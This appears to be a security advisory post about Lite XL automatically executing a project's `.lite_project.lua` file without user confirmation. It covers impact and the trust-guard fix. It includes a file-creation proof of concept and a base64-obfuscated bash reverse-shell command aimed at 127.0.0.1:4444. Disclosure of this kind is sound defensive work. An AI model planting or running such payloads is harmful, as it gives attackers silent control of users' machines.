Listen to this Post
Lite XL versions 2.1.8 and prior contain a vulnerability that allows for arbitrary code execution. The editor automatically loads and executes a project-specific Lua configuration file named `.lite_project.lua` whenever a user opens a project directory. This file is intended for legitimate project setup but can contain any executable Lua logic. The core of the vulnerability is that this execution happens without any user confirmation, warning, or security validation. The editor loads these files using the `dofile()` function without implementing a sandbox or restrictions, granting the embedded code full access to system-level Lua facilities. Consequently, if an attacker embeds malicious Lua commands—such as `os.execute()` or io.popen()—within a `.lite_project.lua` file, that code will run immediately with the same privileges as the Lite XL process. This creates a significant attack vector where opening a malicious project folder, potentially cloned from an untrusted repository, leads to automatic and silent code execution. The risk is heightened because the seamless automatic operation provides no opportunity for the user to review the code before it runs.
Platform: Lite XL
Version: 2.1.8 and prior
Vulnerability: Arbitrary Code Execution
Severity: High
date: 2025-11-20
Prediction: Patched November 2025
What Undercode Say
os.execute("touch /tmp/hello.txt")
Proof of Concept Code: A simple Lua command placed in `.lite_project.lua` to demonstrate arbitrary file creation.
$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash)
Command Injection Payload: A base64-encoded command for a reverse shell, demonstrating remote code execution potential via the related `system.exec()` vulnerability (CVE-2025-12121).
How Exploit
An attacker creates a malicious project containing a `.lite_project.lua` file with arbitrary Lua code. The code executes automatically when the victim opens the project folder in Lite XL.
Protection from this CVE
Update to the latest Lite XL version that includes the security patches, specifically pull requests 1472 and 1473. The fix introduces a trust guard mechanism requiring explicit user authorization before executing project module code.
Impact
Arbitrary code execution with the user’s privileges, potentially leading to system compromise, data theft, or supply chain attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
